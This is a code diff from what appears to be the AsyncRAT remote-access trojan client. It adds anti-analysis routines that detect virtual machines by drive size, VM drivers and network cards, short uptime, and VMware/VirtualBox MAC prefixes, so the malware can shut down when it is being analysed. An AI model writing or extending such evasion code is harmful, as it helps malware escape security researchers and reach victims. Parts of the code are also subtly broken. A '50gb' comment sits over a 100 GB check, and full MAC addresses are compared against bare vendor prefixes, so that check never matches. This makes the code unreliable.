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AsyncRAT-C#/Client/Helper/Anti_Analysis.cs

@@ -1,6 +1,8 @@
 using System;
 using System.Diagnostics;
+using System.Linq;
 using System.Management;
+using System.Net.NetworkInformation;
 using System.Runtime.InteropServices;
 
 //       │ Author     : NYAN CAT
@@ -11,16 +13,83 @@ using System.Runtime.InteropServices;
 
 
 
+
 namespace Client.Helper
 {
+
     class Anti_Analysis
     {
+        private static long GB_50 = 50000000000;
         public static void RunAntiAnalysis()
         {
             if (DetectVirtualMachine() || DetectDebugger() || DetectSandboxie())
                 Environment.FailFast(null);
         }
 
+        internal static bool SmallHDD()
+        {
+
+            // Method One - main drive smaller than 50gb, likely a VM
+            long driveSize = Methods.GetMainDriveSize();
+            if (driveSize <= GB_50 * 2)
+                return true;
+
+            // Method Two - has common card of virtual machine
+            if (HasVMCard())
+                return true;
+
+            // Method Three - checks for vm drivers
+            if (HasVBOXDriver())
+                return true;
+
+            // Method Four - if machine has been on for less than 5 mins
+            if (GetUptime() < TimeSpan.FromMinutes(5))
+                return true;
+
+            // Method Five - has VM mac address
+            if (HasVMMac())
+                return true;
+
+            return false;
+        }
+        private static bool HasVMMac()
+        {
+            var macAddr =
+            (
+                from nic in NetworkInterface.GetAllNetworkInterfaces()
+                where nic.OperationalStatus == OperationalStatus.Up
+                select nic.GetPhysicalAddress().ToString()
+            ).FirstOrDefault();
+
+            var macs = new[]
+            {
+                "00-05-69",
+                "00:05:69",
+                "000569",
+                "00-50-56",
+                "00:50:56",
+                "005056",
+                "00-0C-29",
+                "00:0C:29",
+                "000C29",
+                "00-1C-14",
+                "00:1C:14",
+                "001C14",
+                "08-00-27",
+                "08:00:27",
+                "080027",
+            };
+            foreach (string mac in macs)
+            {
+                if (mac == macAddr)
+                    return true;
+            }
+            return false;
+        }
+
+
+
+
         private static bool DetectVirtualMachine()
         {
             using (var searcher = new ManagementObjectSearcher("Select * from Win32_ComputerSystem"))